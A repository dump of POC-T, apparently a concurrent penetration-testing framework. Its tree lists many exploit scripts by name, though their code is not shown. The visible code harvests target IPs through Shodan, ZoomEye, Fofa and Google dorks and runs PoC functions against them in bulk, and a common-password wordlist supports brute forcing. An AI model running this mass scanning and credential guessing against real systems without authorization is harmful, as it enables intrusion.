├── .gitignore ├── POC-T.py ├── README.md ├── data ├── pass100.txt ├── pass1000.txt ├── user-agents.txt └── wooyun_domain ├── doc ├── LICENSE.txt ├── banner.png └── usage.png ├── lib ├── __init__.py ├── api │ ├── __init__.py │ ├── fofa │ │ ├── __init__.py │ │ └── pack.py │ ├── google │ │ ├── __init__.py │ │ └── pack.py │ ├── shodan │ │ ├── __init__.py │ │ └── pack.py │ └── zoomeye │ │ ├── __init__.py │ │ ├── base.py │ │ └── pack.py ├── cli.py ├── controller │ ├── __init__.py │ ├── api.py │ ├── engine.py │ └── loader.py ├── core │ ├── __init__.py │ ├── common.py │ ├── convert.py │ ├── data.py │ ├── datatype.py │ ├── enums.py │ ├── exception.py │ ├── log.py │ ├── option.py │ ├── register.py │ ├── revision.py │ └── settings.py ├── debug.py ├── parse │ ├── __init__.py │ └── cmdline.py └── utils │ ├── __init__.py │ ├── config.py │ ├── console.py │ ├── update.py │ └── versioncheck.py ├── plugin ├── __init__.py ├── cloudeye.py ├── extracts.py ├── static.py ├── urlparser.py ├── useragent.py └── util.py ├── requirement.txt ├── script ├── 360so-dork.py ├── ThinkPHP_verify.py ├── ThinkPHPv5x_command_injection.py ├── __init__.py ├── activemq-upload.py ├── activemq-weakpass.py ├── bing-dork.py ├── bingc.py ├── brute-example.py ├── cdn-detect.py ├── confluence-traversal.py ├── fastcgi-rce.py ├── fiyo2.0.7-getshell.py ├── glassfish-traversal.py ├── google-dork.py ├── jboss-rce.py ├── jetspeed-rest-unauth.py ├── joomla-registrationpro-sqli.py ├── joomla-videoflow-sqli.py ├── joomla-videogallerylite-sqli.py ├── kubernetes-unauth.py ├── maccms8-rce.py ├── memcached-unauth.py ├── metinfo-504-sqli.py ├── mongodb-unauth.py ├── navis-webaccess-sqli.py ├── opensshd-user-enum.py ├── phpcms9.6.0-getshell.py ├── phpcms9.6.0-sqli.py ├── phpmyadmin-auth-rce.py ├── redis-cron-getshell.py ├── redis-sshkey-getshell.py ├── redis-unauth.py ├── redis-web-probe.py ├── resin-doc-traversal.py ├── rsync-weakpass.py ├── samsoftech-admin-bypass.py ├── shiro-deserial-rce.py ├── siemens-camera-getpwd.py ├── solr-unauth.py ├── spider-example.py ├── struts2-devmode.py ├── struts2-s2032.py ├── struts2-s2045.py ├── test.py ├── vbulletin-ssrf.py ├── vote-example.py ├── weblogic-ssrf-netmap.py ├── weblogic-wls.py ├── wp-4.4-ssrf.py ├── wp-4.7-userinfo.py ├── wp-4.7.1-restapi.py ├── wp-bonkersbeat-filedownload.py ├── wp-forcedownload.py ├── wp-ypo-filedownload.py ├── yahoo-dork.py ├── zabbix-jsrpc-mysql-exp.py ├── zabbix-jsrpc-sqli.py ├── zabbix-weakpass.py └── zonetransfer.py ├── thirdparty ├── IPy │ ├── IPy.py │ └── __init__.py ├── __init__.py ├── ansistrm │ ├── __init__.py │ └── ansistrm.py ├── colorama │ ├── __init__.py │ ├── ansi.py │ ├── ansitowin32.py │ ├── initialise.py │ ├── win32.py │ └── winterm.py ├── httplib2 │ ├── __init__.py │ ├── cacerts.txt │ ├── iri2uri.py │ └── socks.py ├── odict │ ├── __init__.py │ └── odict.py └── termcolor │ ├── __init__.py │ └── termcolor.py └── toolkit.conf /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | *.egg-info 3 | *.log 4 | *.lprof 5 | *.py[cod] 6 | *.swp 7 | *.conf 8 | .coverage 9 | .svn 10 | .tox 11 | .idea 12 | output 13 | data 14 | -------------------------------------------------------------------------------- /POC-T.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | from lib.utils import versioncheck # this has to be the first non-standard import 7 | from lib.cli import main 8 | 9 | if __name__ == '__main__': 10 | main() 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # POC-T: *Pentest Over Concurrent Toolkit* 2 | [![Python 2.7](https://img.shields.io/badge/python-2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/Xyntax/POC-T/master/doc/LICENSE.txt) [![Codacy Badge](https://api.codacy.com/project/badge/Grade/1413552d34bc4a4aa84539db1780eb56)](https://www.codacy.com/app/xyntax/POC-T?utm_source=github.com&utm_medium=referral&utm_content=Xyntax/POC-T&utm_campaign=Badge_Grade) [![PoC/Scripts](https://img.shields.io/badge/PoC/Scripts-52-blue.svg)](https://github.com/Xyntax/POC-T/wiki/%E5%86%85%E7%BD%AE%E8%84%9A%E6%9C%AC%E5%BA%93) 3 | 4 | 脚本调用框架,用于渗透测试中 **采集|爬虫|爆破|批量PoC** 等需要并发的任务。 5 | 6 | ![banner.png](https://github.com/Xyntax/POC-T/blob/2.0/doc/banner.png) 7 | 8 | 脚本收录 9 | ------------------------------------------------------------------ 10 | 欢迎提交PoC及实用脚本(提PR或邮件联系i@cdxy.me),您贡献的PoC相关信息将会在以下位置公开。 11 | * [脚本库](https://github.com/Xyntax/POC-T/wiki/%E5%86%85%E7%BD%AE%E8%84%9A%E6%9C%AC%E5%BA%93) 12 | * [致谢](https://github.com/Xyntax/POC-T/wiki/%E8%87%B4%E8%B0%A2) 13 | 14 | 15 | 特点 16 | --- 17 | * 支持多线程/Gevent两种并发模式 18 | * 极简式脚本编写,无需参考文档 19 | * 内置脚本扩展及常用PoC函数 20 | * 支持第三方搜索引擎API(已完成ZoomEye/Shodan/Google/Fofa免费版) 21 | 22 | 23 | 依赖 24 | --- 25 | * Python 2.7 26 | * pip 27 | 28 | 用户手册 29 | ---- 30 | 31 | * [快速开始](https://github.com/Xyntax/POC-T/wiki/02-%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B) 32 | * [编写脚本](https://github.com/Xyntax/POC-T/wiki/03-%E7%BC%96%E5%86%99%E8%84%9A%E6%9C%AC) 33 | * [脚本扩展工具](https://github.com/Xyntax/POC-T/wiki/04-%E8%84%9A%E6%9C%AC%E6%89%A9%E5%B1%95%E5%B7%A5%E5%85%B7) 34 | * [第三方搜索引擎](https://github.com/Xyntax/POC-T/wiki/05-%E7%AC%AC%E4%B8%89%E6%96%B9%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E) 35 | * [需求与设计](https://github.com/Xyntax/POC-T/wiki/01-%E9%9C%80%E6%B1%82%E4%B8%8E%E8%AE%BE%E8%AE%A1) 36 | 37 | 其他 38 | --- 39 | * [问题反馈](https://github.com/Xyntax/POC-T/issues/new) 40 | * [版权声明](https://github.com/Xyntax/POC-T/wiki/%E7%89%88%E6%9D%83%E5%A3%B0%E6%98%8E) 41 | 42 | 联系作者 43 | ---- 44 | * mail:i@cdxy.me 45 | 46 | 47 | -------------------------------------------------------------------------------- /data/pass100.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | a123456 3 | 123456 4 | a123456789 5 | 1234567890 6 | woaini1314 7 | qq123456 8 | abc123456 9 | 123456a 10 | 123456789a 11 | 147258369 12 | zxcvbnm 13 | 987654321 14 | 12345678910 15 | abc123 16 | qq123456789 17 | 123456789. 18 | 7708801314520 19 | woaini 20 | 5201314520 21 | q123456 22 | 123456abc 23 | 1233211234567 24 | 123123123 25 | 123456. 26 | 0123456789 27 | asd123456 28 | aa123456 29 | 135792468 30 | q123456789 31 | abcd123456 32 | 12345678900 33 | woaini520 34 | woaini123 35 | zxcvbnm123 36 | 1111111111111111 37 | w123456 38 | aini1314 39 | abc123456789 40 | 111111 41 | woaini521 42 | qwertyuiop 43 | 1314520520 44 | 1234567891 45 | qwe123456 46 | asd123 47 | 000000 48 | 1472583690 49 | 1357924680 50 | 789456123 51 | 123456789abc 52 | z123456 53 | 1234567899 54 | aaa123456 55 | abcd1234 56 | www123456 57 | 123456789q 58 | 123abc 59 | qwe123 60 | w123456789 61 | 7894561230 62 | 123456qq 63 | zxc123456 64 | 123456789qq 65 | 1111111111 66 | 111111111 67 | 0000000000000000 68 | 1234567891234567 69 | qazwsxedc 70 | qwerty 71 | 123456.. 72 | zxc123 73 | asdfghjkl 74 | 0000000000 75 | 1234554321 76 | 123456q 77 | 123456aa 78 | 9876543210 79 | 110120119 80 | qaz123456 81 | qq5201314 82 | 123698745 83 | 5201314 84 | 000000000 85 | as123456 86 | 123123 87 | 5841314520 88 | z123456789 89 | 52013145201314 90 | a123123 91 | caonima 92 | a5201314 93 | wang123456 94 | abcd123 95 | 123456789.. 96 | woaini1314520 97 | 123456asd 98 | aa123456789 99 | 741852963 100 | a12345678 -------------------------------------------------------------------------------- /doc/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xyntax/POC-T/9d6bd182fe200253c315e0686100e19f3fb194c2/doc/banner.png -------------------------------------------------------------------------------- /doc/usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xyntax/POC-T/9d6bd182fe200253c315e0686100e19f3fb194c2/doc/usage.png -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/api/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/api/fofa/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = bit4 5 | -------------------------------------------------------------------------------- /lib/api/fofa/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = bit4 5 | 6 | import sys 7 | from lib.core.data import paths, logger 8 | from lib.utils.config import ConfigFileParser 9 | from lib.core.common import getSafeExString 10 | import getpass 11 | import urllib 12 | import base64 13 | import json 14 | 15 | 16 | def check(email, key): 17 | if email and key: 18 | auth_url = "https://fofa.so/api/v1/info/my?email={0}&key={1}".format(email, key) 19 | try: 20 | response = urllib.urlopen(auth_url) 21 | if response.code == 200: 22 | return True 23 | except Exception, e: 24 | # logger.error(e) 25 | return False 26 | return False 27 | 28 | 29 | def FofaSearch(query, limit=100, offset=0): # TODO 付费获取结果的功能实现 30 | try: 31 | msg = 'Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 32 | logger.info(msg) 33 | email = ConfigFileParser().FofaEmail() 34 | key = ConfigFileParser().FofaKey() 35 | if check(email, key): 36 | pass 37 | else: 38 | raise # will go to except block 39 | except: 40 | msg = 'Automatic authorization failed.' 41 | logger.warning(msg) 42 | msg = 'Please input your FoFa Email and API Key below.' 43 | logger.info(msg) 44 | email = raw_input("Fofa Email: ").strip() 45 | key = getpass.getpass(prompt='Fofa API Key: ').strip() 46 | if not check(email, key): 47 | msg = 'Fofa API authorization failed, Please re-run it and enter a valid key.' 48 | sys.exit(logger.error(msg)) 49 | 50 | query = base64.b64encode(query) 51 | 52 | request = "https://fofa.so/api/v1/search/all?email={0}&key={1}&qbase64={2}".format(email, key, query) 53 | result = [] 54 | try: 55 | response = urllib.urlopen(request) 56 | resp = response.readlines()[0] 57 | resp = json.loads(resp) 58 | if resp["error"] is None: 59 | for item in resp.get('results'): 60 | result.append(item[0]) 61 | if resp.get('size') >= 100: 62 | logger.info("{0} items found! just 100 returned....".format(resp.get('size'))) 63 | except Exception, e: 64 | sys.exit(logger.error(getSafeExString(e))) 65 | finally: 66 | return result 67 | -------------------------------------------------------------------------------- /lib/api/google/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/api/google/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import sys 7 | from googleapiclient.discovery import build 8 | from googleapiclient.errors import HttpError as ServerHttpDenied 9 | from lib.core.common import getSafeExString 10 | from lib.core.enums import PROXY_TYPE 11 | from lib.utils.config import ConfigFileParser 12 | from lib.core.data import logger, conf 13 | from thirdparty.httplib2 import Http, ProxyInfo 14 | from socket import error as SocketError 15 | 16 | 17 | def _initHttpClient(): 18 | if conf.GOOGLE_PROXY: 19 | proxy_str = conf.GOOGLE_PROXY 20 | elif ConfigFileParser().GoogleProxy(): 21 | proxy_str = ConfigFileParser().GoogleProxy() 22 | else: 23 | proxy_str = None 24 | 25 | if not proxy_str: 26 | return Http() 27 | 28 | msg = 'Proxy: %s' % proxy_str 29 | logger.info(msg) 30 | proxy = proxy_str.strip().split(' ') 31 | if len(proxy) != 3: 32 | msg = 'SyntaxError in GoogleProxy string, Please check your args or config file.' 33 | sys.exit(logger.error(msg)) 34 | if proxy[0].lower() == 'http': 35 | type = PROXY_TYPE.HTTP 36 | elif proxy[0].lower() == 'sock5': 37 | type = PROXY_TYPE.SOCKS5 38 | elif proxy[0].lower() == 'sock4': 39 | type = PROXY_TYPE.SOCKS4 40 | else: 41 | msg = 'Invalid proxy-type in GoogleProxy string, Please check your args or config file.' 42 | sys.exit(logger.error(msg)) 43 | try: 44 | port = int(proxy[2]) 45 | except ValueError: 46 | msg = 'Invalid port in GoogleProxy string, Please check your args or config file.' 47 | sys.exit(logger.error(msg)) 48 | else: 49 | http_client = Http(proxy_info=ProxyInfo(type, proxy[1], port)) 50 | return http_client 51 | 52 | 53 | def GoogleSearch(query, limit, offset=0): 54 | key = ConfigFileParser().GoogleDeveloperKey() 55 | engine = ConfigFileParser().GoogleEngine() 56 | if not key or not engine: 57 | msg = "Please config your 'developer_key' and 'search_enging' at toolkit.conf" 58 | sys.exit(logger.error(msg)) 59 | try: 60 | service = build("customsearch", "v1", http=_initHttpClient(), developerKey=key) 61 | 62 | result_info = service.cse().list(q=query, cx=engine).execute() 63 | msg = 'Max query results: %s' % str(result_info.get('searchInformation',{}).get('totalResults')) 64 | logger.info(msg) 65 | 66 | ans = set() 67 | limit += offset 68 | for i in range(int(offset / 10), int((limit + 10 - 1) / 10)): 69 | result = service.cse().list(q=query, cx=engine, num=10, start=i * 10 + 1).execute() 70 | if 'items' in result: 71 | for url in result.get('items'): 72 | ans.add(url.get('link')) 73 | return ans 74 | except SocketError: 75 | sys.exit(logger.error('Unable to connect Google, maybe agent/proxy error.')) 76 | except ServerHttpDenied, e: 77 | logger.warning('It seems like Google-Server denied this request.') 78 | sys.exit(logger.error(getSafeExString(e))) 79 | -------------------------------------------------------------------------------- /lib/api/shodan/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | -------------------------------------------------------------------------------- /lib/api/shodan/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import shodan 7 | import sys 8 | from lib.core.data import paths, logger 9 | from shodan.exception import APIError 10 | from lib.utils.config import ConfigFileParser 11 | 12 | 13 | class ShodanBase: 14 | def __init__(self, query, limit, offset): 15 | self.query = query 16 | self.limit = limit 17 | self.offset = offset 18 | self.api_key = None 19 | self.result = None 20 | 21 | def login(self): 22 | msg = 'Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 23 | logger.info(msg) 24 | self.api_key = ConfigFileParser().ShodanApikey() 25 | 26 | if not self.api_key: 27 | msg = 'Automatic authorization failed.' 28 | logger.warning(msg) 29 | msg = 'Please input your Shodan API Key (https://account.shodan.io/).' 30 | logger.info(msg) 31 | self.api_key = raw_input('API KEY > ').strip() 32 | 33 | def account_info(self): 34 | try: 35 | api = shodan.Shodan(self.api_key) 36 | account_info = api.info() 37 | msg = "Available Shodan query credits: %d" % account_info.get('query_credits') 38 | logger.info(msg) 39 | except APIError, e: 40 | sys.exit(logger.error(e)) 41 | return True 42 | 43 | def api_query(self): 44 | try: 45 | api = shodan.Shodan(self.api_key) 46 | result = api.search(query=self.query, offset=self.offset, limit=self.limit) 47 | except APIError, e: 48 | sys.exit(logger.error(e)) 49 | 50 | if 'matches' in result: 51 | anslist = [] 52 | for match in result.get('matches'): 53 | anslist.append(match.get('ip_str') + ':' + str(match.get('port'))) 54 | self.result = anslist 55 | else: 56 | self.result = [] 57 | 58 | 59 | def ShodanSearch(query, limit, offset=0): 60 | s = ShodanBase(query, limit, offset) 61 | s.login() 62 | s.account_info() 63 | s.api_query() 64 | return s.result 65 | -------------------------------------------------------------------------------- /lib/api/zoomeye/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/api/zoomeye/base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import requests 7 | import getpass 8 | import sys 9 | from lib.core.data import logger, paths 10 | from lib.utils.config import ConfigFileParser 11 | 12 | 13 | class ZoomEye(object): 14 | def __init__(self, username=None, password=None): 15 | self.username = username 16 | self.password = password 17 | 18 | self.token = '' 19 | self.zoomeye_login_api = "https://api.zoomeye.org/user/login" 20 | self.zoomeye_dork_api = "https://api.zoomeye.org/{}/search" 21 | 22 | def auto_login(self): 23 | msg = 'Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 24 | logger.info(msg) 25 | try: 26 | self.username = ConfigFileParser().ZoomEyeEmail() 27 | self.password = ConfigFileParser().ZoomEyePassword() 28 | except: 29 | pass 30 | 31 | if bool(self.username and self.password): 32 | if self.get_token(): 33 | return 34 | 35 | msg = 'Automatic authorization failed.' 36 | logger.warning(msg) 37 | self.manual_login() 38 | 39 | def manual_login(self): 40 | msg = 'Please input your ZoomEye Email and Password below.' 41 | logger.info(msg) 42 | self.username = raw_input('ZoomEye Username(Email): ').strip() 43 | self.password = getpass.getpass(prompt='ZoomEye Password: ').strip() 44 | if not self.get_token(): 45 | msg = 'Invalid ZoomEye username or password.' 46 | sys.exit(logger.error(msg)) 47 | 48 | def get_token(self): 49 | # Please access https://www.zoomeye.org/api/doc#login 50 | data = '{{"username": "{}", "password": "{}"}}'.format(self.username, 51 | self.password) 52 | resp = requests.post(self.zoomeye_login_api, data=data) 53 | if resp and resp.status_code == 200 and 'access_token' in resp.json(): 54 | self.token = resp.json().get('access_token') 55 | return self.token 56 | return False 57 | 58 | def setToken(self, token): 59 | """set Token from exist token string""" 60 | self.token = token.strip() 61 | 62 | def dork_search(self, dork, page=0, resource='web', facet=['ip']): 63 | """Search records with ZoomEye dorks. 64 | 65 | param: dork 66 | ex: country:cn 67 | access https://www.zoomeye.org/search/dorks for more details. 68 | param: page 69 | total page(s) number 70 | param: resource 71 | set a search resource type, ex: [web, host] 72 | param: facet 73 | ex: [app, device] 74 | A comma-separated list of properties to get summary information 75 | """ 76 | result = [] 77 | if isinstance(facet, (tuple, list)): 78 | facet = ','.join(facet) 79 | 80 | zoomeye_api = self.zoomeye_dork_api.format(resource) 81 | headers = {'Authorization': 'JWT %s' % self.token} 82 | params = {'query': dork, 'page': page + 1, 'facet': facet} 83 | resp = requests.get(zoomeye_api, params=params, headers=headers) 84 | if resp and resp.status_code == 200 and 'matches' in resp.json(): 85 | matches = resp.json().get('matches') 86 | # total = resp.json().get('total') # all matches items num 87 | result = matches 88 | 89 | # Every match item incudes the following information: 90 | # geoinfo 91 | # description 92 | # check_time 93 | # title 94 | # ip 95 | # site 96 | # system 97 | # headers 98 | # keywords 99 | # server 100 | # domains 101 | 102 | return result 103 | 104 | def resources_info(self): 105 | """Resource info shows us available search times. 106 | 107 | host-search: total number of available host records to search 108 | web-search: total number of available web records to search 109 | """ 110 | data = None 111 | zoomeye_api = "https://api.zoomeye.org/resources-info" 112 | headers = {'Authorization': 'JWT %s' % self.token} 113 | resp = requests.get(zoomeye_api, headers=headers) 114 | if resp and resp.status_code == 200 and 'plan' in resp.json(): 115 | data = resp.json() 116 | 117 | return data 118 | 119 | 120 | def show_site_ip(data): 121 | if data: 122 | for i in data: 123 | print(i.get('site'), i.get('ip')) 124 | 125 | 126 | def show_ip_port(data): 127 | if data: 128 | for i in data: 129 | print(i.get('ip'), i.get('portinfo').get('port')) 130 | -------------------------------------------------------------------------------- /lib/api/zoomeye/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import sys 7 | from lib.api.zoomeye.base import ZoomEye 8 | from lib.core.data import logger 9 | 10 | 11 | def _initial(): 12 | z = ZoomEye() 13 | z.auto_login() 14 | info = z.resources_info().get('resources') 15 | if info: 16 | msg = 'Available ZoomEye search: (search:%s)' % (info.get('search', 'NO FOUND')) 17 | logger.info(msg) 18 | else: 19 | msg = 'ZoomEye API authorization failed, Please re-run it and enter a new token.' 20 | sys.exit(logger.error(msg)) 21 | return z 22 | 23 | 24 | def ZoomEyeSearch(query, limit, type='host', offset=0): 25 | z = _initial() 26 | ans = [] 27 | limit += offset 28 | for page_n in range(int(offset / 10), int((limit + 10 - 1) / 10)): 29 | data = z.dork_search(query, resource=type, page=page_n) 30 | if data: 31 | for i in data: 32 | ip_str = i.get('ip') 33 | if 'portinfo' in i: 34 | ip_str = ip_str + ':' + str(i.get('portinfo').get('port')) 35 | ans.append(ip_str) 36 | else: 37 | break 38 | return ans 39 | -------------------------------------------------------------------------------- /lib/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import os.path 7 | import traceback 8 | from lib.parse.cmdline import cmdLineParser 9 | from lib.core.option import initOptions 10 | from lib.controller.loader import loadModule, loadPayloads 11 | from lib.core.common import setPaths, banner, systemQuit, openBrowser 12 | from lib.core.data import paths, conf, logger, cmdLineOptions 13 | from lib.core.enums import EXIT_STATUS 14 | from lib.core.settings import IS_WIN 15 | from lib.core.exception import ToolkitUserQuitException 16 | from lib.core.exception import ToolkitMissingPrivileges 17 | from lib.core.exception import ToolkitSystemException 18 | from lib.controller.engine import run 19 | from thirdparty.colorama.initialise import init as winowsColorInit 20 | 21 | 22 | def main(): 23 | """ 24 | Main function of POC-T when running from command line. 25 | """ 26 | try: 27 | paths.ROOT_PATH = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) 28 | try: 29 | os.path.isdir(paths.ROOT_PATH) 30 | except UnicodeEncodeError: 31 | errMsg = "your system does not properly handle non-ASCII paths. " 32 | errMsg += "Please move the project root directory to another location" 33 | logger.error(errMsg) 34 | raise SystemExit 35 | setPaths() 36 | 37 | cmdLineOptions.update(cmdLineParser().__dict__) 38 | initOptions(cmdLineOptions) 39 | 40 | if IS_WIN: 41 | winowsColorInit() 42 | banner() 43 | 44 | loadModule() 45 | loadPayloads() 46 | 47 | run() 48 | 49 | if conf.OPEN_BROWSER: 50 | openBrowser() 51 | 52 | systemQuit(EXIT_STATUS.SYSETM_EXIT) 53 | 54 | except ToolkitMissingPrivileges, e: 55 | logger.error(e) 56 | systemQuit(EXIT_STATUS.ERROR_EXIT) 57 | 58 | except ToolkitSystemException, e: 59 | logger.error(e) 60 | systemQuit(EXIT_STATUS.ERROR_EXIT) 61 | 62 | except ToolkitUserQuitException: 63 | systemQuit(EXIT_STATUS.USER_QUIT) 64 | except KeyboardInterrupt: 65 | systemQuit(EXIT_STATUS.USER_QUIT) 66 | 67 | except Exception: 68 | print traceback.format_exc() 69 | logger.warning('It seems like you reached a unhandled exception, please report it to author\'s mail: or raise a issue via:.') 70 | 71 | if __name__ == "__main__": 72 | main() 73 | -------------------------------------------------------------------------------- /lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/controller/api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import os 7 | import time 8 | from lib.core.data import conf, logger 9 | from lib.core.exception import ToolkitValueException 10 | from lib.core.enums import API_MODE_NAME 11 | from lib.api.shodan.pack import ShodanSearch 12 | from lib.api.zoomeye.pack import ZoomEyeSearch 13 | from lib.api.google.pack import GoogleSearch 14 | from lib.api.fofa.pack import FofaSearch 15 | 16 | 17 | def runApi(): 18 | output = conf.API_OUTPUT 19 | dork = conf.API_DORK 20 | limit = conf.API_LIMIT 21 | logger.info('Activate %s API' % conf.API_MODE) 22 | if conf.API_MODE is API_MODE_NAME.ZOOMEYE: 23 | anslist = ZoomEyeSearch(query=dork, limit=limit, type=conf.ZOOMEYE_SEARCH_TYPE, offset=conf.API_OFFSET) 24 | elif conf.API_MODE is API_MODE_NAME.SHODAN: 25 | anslist = ShodanSearch(query=dork, limit=limit, offset=conf.API_OFFSET) 26 | elif conf.API_MODE is API_MODE_NAME.GOOGLE: 27 | anslist = GoogleSearch(query=dork, limit=limit, offset=conf.API_OFFSET) 28 | elif conf.API_MODE is API_MODE_NAME.FOFA: 29 | anslist = FofaSearch(query=dork, limit=limit, offset=conf.API_OFFSET) 30 | else: 31 | raise ToolkitValueException('Unknown API mode') 32 | 33 | tmpIpFile = os.path.join(output, '%s.txt' % (time.strftime('%Y%m%d%H%M%S'))) 34 | with open(tmpIpFile, 'w') as fp: 35 | for each in anslist: 36 | if isinstance(each, list): # for ZoomEye web type 37 | each = each[0] 38 | fp.write(each + '\n') 39 | return tmpIpFile 40 | -------------------------------------------------------------------------------- /lib/controller/engine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | 7 | import threading 8 | import time 9 | import traceback 10 | from lib.core.data import th, conf, logger 11 | from lib.core.common import dataToStdout 12 | from lib.utils.console import getTerminalSize 13 | from lib.utils.versioncheck import PYVERSION 14 | from lib.core.enums import POC_RESULT_STATUS, ENGINE_MODE_STATUS 15 | 16 | 17 | def initEngine(): 18 | th.thread_mode = True if conf.ENGINE is ENGINE_MODE_STATUS.THREAD else False 19 | th.module_name = conf.MODULE_NAME 20 | th.f_flag = conf.FILE_OUTPUT 21 | th.s_flag = conf.SCREEN_OUTPUT 22 | th.output = conf.OUTPUT_FILE_PATH 23 | th.thread_count = th.threads_num = th.THREADS_NUM 24 | th.single_mode = conf.SINGLE_MODE 25 | th.scan_count = th.found_count = 0 26 | th.console_width = getTerminalSize()[0] - 2 27 | th.is_continue = True 28 | th.found_single = False 29 | th.start_time = time.time() 30 | setThreadLock() 31 | msg = 'Set the number of concurrent: %d' % th.threads_num 32 | logger.success(msg) 33 | 34 | 35 | def singleMode(): 36 | th.is_continue = False 37 | th.found_single = True 38 | 39 | 40 | def scan(): 41 | while 1: 42 | if th.thread_mode: th.load_lock.acquire() 43 | if th.queue.qsize() > 0 and th.is_continue: 44 | payload = str(th.queue.get(timeout=1.0)) 45 | if th.thread_mode: th.load_lock.release() 46 | else: 47 | if th.thread_mode: th.load_lock.release() 48 | break 49 | try: 50 | # POC在执行时报错如果不被处理,线程框架会停止并退出 51 | status = th.module_obj.poc(payload) 52 | resultHandler(status, payload) 53 | except Exception: 54 | th.errmsg = traceback.format_exc() 55 | th.is_continue = False 56 | changeScanCount(1) 57 | if th.s_flag: 58 | printProgress() 59 | if th.s_flag: 60 | printProgress() 61 | 62 | changeThreadCount(-1) 63 | 64 | 65 | def run(): 66 | initEngine() 67 | if conf.ENGINE is ENGINE_MODE_STATUS.THREAD: 68 | for i in range(th.threads_num): 69 | t = threading.Thread(target=scan, name=str(i)) 70 | setThreadDaemon(t) 71 | t.start() 72 | # It can quit with Ctrl-C 73 | while 1: 74 | if th.thread_count > 0 and th.is_continue: 75 | time.sleep(0.01) 76 | else: 77 | break 78 | 79 | elif conf.ENGINE is ENGINE_MODE_STATUS.GEVENT: 80 | from gevent import monkey 81 | monkey.patch_all() 82 | import gevent 83 | while th.queue.qsize() > 0 and th.is_continue: 84 | gevent.joinall([gevent.spawn(scan) for i in xrange(0, th.threads_num) if 85 | th.queue.qsize() > 0]) 86 | 87 | dataToStdout('\n') 88 | 89 | if 'errmsg' in th: 90 | logger.error(th.errmsg) 91 | 92 | if th.found_single: 93 | msg = "[single-mode] found!" 94 | logger.info(msg) 95 | 96 | 97 | def resultHandler(status, payload): 98 | if not status or status is POC_RESULT_STATUS.FAIL: 99 | return 100 | elif status is POC_RESULT_STATUS.RETRAY: 101 | changeScanCount(-1) 102 | th.queue.put(payload) 103 | return 104 | elif status is True or status is POC_RESULT_STATUS.SUCCESS: 105 | msg = payload 106 | else: 107 | msg = str(status) 108 | changeFoundCount(1) 109 | if th.s_flag: 110 | printMessage(msg) 111 | if th.f_flag: 112 | output2file(msg) 113 | if th.single_mode: 114 | singleMode() 115 | 116 | 117 | def setThreadLock(): 118 | if th.thread_mode: 119 | th.found_count_lock = threading.Lock() 120 | th.scan_count_lock = threading.Lock() 121 | th.thread_count_lock = threading.Lock() 122 | th.file_lock = threading.Lock() 123 